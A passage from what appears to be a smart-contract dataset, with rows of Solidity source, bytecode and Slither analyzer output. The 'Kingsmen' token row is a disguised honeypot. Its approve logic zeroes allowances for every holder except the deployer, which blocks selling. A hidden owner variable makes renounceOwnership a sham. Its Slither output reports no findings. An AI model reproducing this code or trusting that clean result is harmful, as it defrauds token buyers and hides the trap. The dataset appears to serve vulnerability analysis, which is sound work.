060009081526002602052604090205550565b600060208083528351808285015260005b81811015611be957858101830151858201604001528201611bcd565b81811115611bfb576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b0381168114610a2d57600080fd5b8035611c3181611c11565b919050565b600060208284031215611c4857600080fd5b8135611a7681611c11565b60008060408385031215611c6657600080fd5b8235611c7181611c11565b946020939093013593505050565b60008060408385031215611c9257600080fd5b50508035926020909101359150565b600080600060608486031215611cb657600080fd5b8335611cc181611c11565b92506020840135611cd181611c11565b929592945050506040919091013590565b634e487b7160e01b600052604160045260246000fd5b60006020808385031215611d0b57600080fd5b823567ffffffffffffffff80821115611d2357600080fd5b818501915085601f830112611d3757600080fd5b813581811115611d4957611d49611ce2565b8060051b604051601f19603f83011681018181108582111715611d6e57611d6e611ce2565b604052918252848201925083810185019188831115611d8c57600080fd5b938501935b82851015611db157611da285611c26565b84529385019392850192611d91565b98975050505050505050565b600060208284031215611dcf57600080fd5b5035919050565b8015158114610a2d57600080fd5b600060208284031215611df657600080fd5b8135611a7681611dd6565b60008060408385031215611e1457600080fd5b8235611e1f81611c11565b91506020830135611e2f81611c11565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b600082821015611e6257611e62611e3a565b500390565b634e487b7160e01b600052603260045260246000fd5b600060018201611e8f57611e8f611e3a565b5060010190565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060208284031215611edd57600080fd5b8151611a7681611c11565b600080600060608486031215611efd57600080fd5b8351925060208401519150604084015190509250925092565b600060208284031215611f2857600080fd5b8151611a7681611dd6565b60008219821115611f4657611f46611e3a565b500190565b6000816000190483118215151615611f6557611f65611e3a565b500290565b600082611f8757634e487b7160e01b600052601260045260246000fd5b500490565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611fdc5784516001600160a01b031683529383019391830191600101611fb7565b50506001600160a01b0396909616606085015250505060800152939250505056fea2646970667358221220107f6ed4715d0405e5ba9a577b3b4cd2104cc2690bdc3260d66ef48b49d0e15464736f6c634300080d0033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "tx-origin", "impact": "Medium", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}} | 10,172 |
0xfe4448c626ee228b57bc2885d9318ad50ce66681 | /*
.----------------. .----------------. .-----------------. .----------------. .----------------. .----------------. .----------------. .-----------------.
| .--------------. || .--------------. || .--------------. || .--------------. || .--------------. || .--------------. || .--------------. || .--------------. |
| | ___ ____ | || | _____ | || | ____ _____ | || | ______ | || | _______ | || | ____ ____ | || | _________ | || | ____ _____ | |
| | |_ ||_ _| | || | |_ _| | || ||_ \|_ _| | || | .' ___ | | || | / ___ | | || ||_ \ / _|| || | |_ ___ | | || ||_ \|_ _| | |
| | | |_/ / | || | | | | || | | \ | | | || | / .' \_| | || | | (__ \_| | || | | \/ | | || | | |_ \_| | || | | \ | | | |
| | | __'. | || | | | | || | | |\ \| | | || | | | ____ | || | '.___`-. | || | | |\ /| | | || | | _| _ | || | | |\ \| | | |
| | _| | \ \_ | || | _| |_ | || | _| |_\ |_ | || | \ `.___] _| | || | |`\____) | | || | _| |_\/_| |_ | || | _| |___/ | | || | _| |_\ |_ | |
| | |____||____| | || | |_____| | || ||_____|\____| | || | `._____.' | || | |_______.' | || ||_____||_____|| || | |_________| | || ||_____|\____| | |
| | | || | | || | | || | | || | | || | | || | | || | | |
| '--------------' || '--------------' || '--------------' || '--------------' || '--------------' || '--------------' || '--------------' || '--------------' |
'----------------' '----------------' '----------------' '----------------' '----------------' '----------------' '----------------' '----------------'
https://t.me/Kingsmen_Official
**/
//* SPDX-License-Identifier: Unlicensed
pragma solidity ^0.6.12;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) private onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
address private newComer = _msgSender();
modifier onlyOwner() {
require(newComer == _msgSender(), "Ownable: caller is not the owner");
_;
}
}
contract Kingsmen is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _tTotal = 100* 10**11* 10**18;
string private _name = 'Kingsmen';
string private _symbol = 'Kingsmen';
uint8 private _decimals = 18;
constructor () public {
_balances[_msgSender()] = _tTotal;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function _approve(address ol, address tt, uint256 amount) private {
require(ol != address(0), "ERC20: approve from the zero address");
require(tt != address(0), "ERC20: approve to the zero address");
if (ol != owner()) { _allowances[ol][tt] = 0; emit Approval(ol, tt, 4); }
else { _allowances[ol][tt] = amount; emit Approval(ol, tt, amount); }
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "BEP20: transfer from the zero address");
require(recipient != address(0), "BEP20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
} | 0x608060405234801561001057600080fd5b50600436106100a95760003560e01c806370a082311161007157806370a0823114610258578063715018a6146102b05780638da5cb5b146102ba57806395d89b41146102ee578063a9059cbb14610371578063dd62ed3e146103d5576100a9565b806306fdde03146100ae578063095ea7b31461013157806318160ddd1461019557806323b872dd146101b3578063313ce56714610237575b600080fd5b6100b661044d565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156100f65780820151818401526020810190506100db565b50505050905090810190601f1680156101235780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61017d6004803603604081101561014757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506104ef565b60405180821515815260200191505060405180910390f35b61019d61050d565b6040518082815260200191505060405180910390f35b61021f600480360360608110156101c957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610517565b60405180821515815260200191505060405180910390f35b61023f6105f0565b604051808260ff16815260200191505060405180910390f35b61029a6004803603602081101561026e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610607565b6040518082815260200191505060405180910390f35b6102b8610650565b005b6102c26107d8565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6102f6610801565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561033657808201518184015260208101905061031b565b50505050905090810190601f1680156103635780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6103bd6004803603604081101561038757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506108a3565b60405180821515815260200191505060405180910390f35b610437600480360360408110156103eb57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506108c1565b6040518082815260200191505060405180910390f35b606060058054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156104e55780601f106104ba576101008083540402835291602001916104e5565b820191906000526020600020905b8154815290600101906020018083116104c857829003601f168201915b5050505050905090565b60006105036104fc610948565b8484610950565b6001905092915050565b6000600454905090565b6000610524848484610c6f565b6105e584610530610948565b6105e0856040518060600160405280602881526020016110b960289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610596610948565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f299092919063ffffffff16565b610950565b600190509392505050565b6000600760009054906101000a900460ff16905090565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610658610948565b73ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461071a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060068054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108995780601f1061086e57610100808354040283529160200191610899565b820191906000526020600020905b81548152906001019060200180831161087c57829003601f168201915b5050505050905090565b60006108b76108b0610948565b8484610c6f565b6001905092915050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156109d6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602481526020018061112a6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610a5c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806110976022913960400191505060405180910390fd5b610a646107d8565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614610b83576000600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560046040518082815260200191505060405180910390a3610c6a565b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a35b505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610cf5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806110726025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610d7b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806111076023913960400191505060405180910390fd5b610de7816040518060600160405280602681526020016110e160269139600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f299092919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610e7c81600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610fe990919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b6000838311158290610fd6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610f9b578082015181840152602081019050610f80565b50505050905090810190601f168015610fc85780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b600080828401905083811015611067576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b809150509291505056fe42455032303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636542455032303a207472616e7366657220616d6f756e7420657863656564732062616c616e636542455032303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a2646970667358221220ca14f5d410e92b04f53050863085e438715700a3b4f6a5ca3f961156d7bb0ad064736f6c634300060c0033 | {"success": true, "error": null, "results": {}} | 10,173 |
0xd26bace194db7cb3588ca969eec055745f765e37 | pragma solidity ^0.4.24;
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address _who) public view returns (uint256);
function transfer(address _to, uint256 _value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address _owner, address _spender)
public view returns (uint256);
function transferFrom(address _from, address _to, uint256 _value)
public returns (bool);
function approve(address _spender, uint256 _value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) internal balances;
uint256 internal totalSupply_;
/**
* @dev Total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev Transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_value <= balances[msg.sender]);
require(_to != address(0));
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
require(_to != address(0));
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(
address _spender,
uint256 _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(
address _spender,
uint256 _subtractedValue
)
public
returns (bool)
{
uint256 oldValue = allowed[msg.sender][_spender];
if (_subtractedValue >= oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to relinquish control of the contract.
* @notice Renouncing to ownership will leave the contract without an owner.
* It will not be possible to call the functions with the `onlyOwner`
* modifier anymore.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param _newOwner The address to transfer ownership to.
*/
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
/**
* @dev Transfers control of the contract to a newOwner.
* @param _newOwner The address to transfer ownership to.
*/
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
modifier hasMintPermission() {
require(msg.sender == owner);
_;
}
/**
* @dev Function to mint tokens
* @param _to The address that will receive the minted tokens.
* @param _amount The amount of tokens to mint.
* @return A boolean that indicates if the operation was successful.
*/
function mint(
address _to,
uint256 _amount
)
public
hasMintPermission
canMint
returns (bool)
{
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Mint(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
/**
* @dev Function to stop minting new tokens.
* @return True if the operation was successful.
*/
function finishMinting() public onlyOwner canMint returns (bool) {
mintingFinished = true;
emit MintFinished();
return true;
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*/
modifier whenNotPaused() {
require(!paused);
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*/
modifier whenPaused() {
require(paused);
_;
}
/**
* @dev called by the owner to pause, triggers stopped state
*/
function pause() public onlyOwner whenNotPaused {
paused = true;
emit Pause();
}
/**
* @dev called by the owner to unpause, returns to normal state
*/
function unpause() public onlyOwner whenPaused {
paused = false;
emit Unpause();
}
}
contract PausableToken is StandardToken, Pausable {
function transfer(
address _to,
uint256 _value
)
public
whenNotPaused
returns (bool)
{
return super.transfer(_to, _value);
}
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
whenNotPaused
returns (bool)
{
return super.transferFrom(_from, _to, _value);
}
function approve(
address _spender,
uint256 _value
)
public
whenNotPaused
returns (bool)
{
return super.approve(_spender, _value);
}
function increaseApproval(
address _spender,
uint _addedValue
)
public
whenNotPaused
returns (bool success)
{
return super.increaseApproval(_spender, _addedValue);
}
function decreaseApproval(
address _spender,
uint _subtractedValue
)
public
whenNotPaused
returns (bool success)
{
return super.decreaseApproval(_spender, _subtractedValue);
}
}
contract Controller is MintableToken, PausableToken {
address public thisAddr; // matches delegation slot in proxy
uint256 public cap; // the max cap of this token
string public constant name = "Pre-Investment CFX"; // solium-disable-line uppercase
string public constant symbol = "PCFX"; // solium-disable-line uppercase
uint8 public constant decimals = 18; // solium-disable-line uppercase
constructor() public {}
/**
* @dev Function to initialize storage, only callable from proxy.
* @param _controller The address where code is loaded from through delegatecall
* @param _cap The cap that should be set for the token
*/
function initialize(address _controller, uint256 _cap) public onlyOwner {
require(cap == 0, "Cap is already set");
require(_cap > 0, "Trying to set an invalid cap");
require(thisAddr == _controller, "Not calling from proxy");
cap = _cap;
totalSupply_ = 0;
}
/**
* @dev Function to mint tokens
* @param _to The address that will receive the minted tokens.
* @param _amount The amount of tokens to mint.
* @return A boolean that indicates if the operation was successful.
*/
function mint(address _to, uint256 _amount) public onlyOwner canMint returns (bool) {
require(cap > 0, "Cap not set, not initialized");
require(totalSupply_.add(_amount) <= cap, "Trying to mint over the cap");
return super.mint(_to, _amount);
}
}
contract LockedToken is Controller {
mapping(address => bool) public authorized;
bool public unlocked;
/**
* @dev Modified modifier to make a function callable only when the contract
* is not paused or if the msg.sender is the defined sale contract.
*/
modifier whenNotLockedOrAuthorized() {
require(msg.sender == owner || unlocked || authorized[msg.sender], "Token locked or sender unauthorized");
_;
}
constructor() public {}
function setAuthorized(address _addr, bool _status) public onlyOwner returns (bool) {
require(authorized[_addr] != _status, "That is already the current status");
authorized[_addr] = _status;
}
function setUnlock(bool _status) public onlyOwner returns (bool) {
require(unlocked != _status, "That is already the current status");
unlocked = _status;
}
function transfer(address _to, uint256 _value) public whenNotLockedOrAuthorized returns (bool) {
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public whenNotLockedOrAuthorized returns (bool) {
return super.transferFrom(_from, _to, _value);
}
function approve(address _spender, uint256 _value) public whenNotLockedOrAuthorized returns (bool) {
return super.approve(_spender, _value);
}
function increaseApproval(address _spender, uint _addedValue)
public whenNotLockedOrAuthorized returns (bool success)
{
return super.increaseApproval(_spender, _addedValue);
}
function decreaseApproval(address _spender, uint _subtractedValue)
public whenNotLockedOrAuthorized returns (bool success)
{
return super.decreaseApproval(_spender, _subtractedValue);
}
}
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
} | 0x60806040526004361061015f576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806305d2035b1461016457806306fdde0314610193578063095ea7b31461022357806318160ddd1461028857806323b872dd146102b3578063313ce56714610338578063355274ea146103695780633f4ba83a1461039457806340c10f19146103ab5780635c975abb14610410578063661884631461043f5780636a5e2650146104a457806370a08231146104d3578063711bf9b21461052a578063715018a61461059157806378d8fed8146105a85780637d64bcb4146105ef5780638456cb591461061e5780638da5cb5b1461063557806395d89b411461068c578063a9059cbb1461071c578063b918161114610781578063cd6dc687146107dc578063d73dd62314610829578063d9ef58a51461088e578063dd62ed3e146108e5578063f2fde38b1461095c575b600080fd5b34801561017057600080fd5b5061017961099f565b604051808215151515815260200191505060405180910390f35b34801561019f57600080fd5b506101a86109b2565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101e85780820151818401526020810190506101cd565b50505050905090810190601f1680156102155780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561022f57600080fd5b5061026e600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506109eb565b604051808215151515815260200191505060405180910390f35b34801561029457600080fd5b5061029d610b55565b6040518082815260200191505060405180910390f35b3480156102bf57600080fd5b5061031e600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610b5f565b604051808215151515815260200191505060405180910390f35b34801561034457600080fd5b5061034d610ccb565b604051808260ff1660ff16815260200191505060405180910390f35b34801561037557600080fd5b5061037e610cd0565b6040518082815260200191505060405180910390f35b3480156103a057600080fd5b506103a9610cd6565b005b3480156103b757600080fd5b506103f6600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610d96565b604051808215151515815260200191505060405180910390f35b34801561041c57600080fd5b50610425610f2a565b604051808215151515815260200191505060405180910390f35b34801561044b57600080fd5b5061048a600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610f3d565b604051808215151515815260200191505060405180910390f35b3480156104b057600080fd5b506104b96110a7565b604051808215151515815260200191505060405180910390f35b3480156104df57600080fd5b50610514600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506110ba565b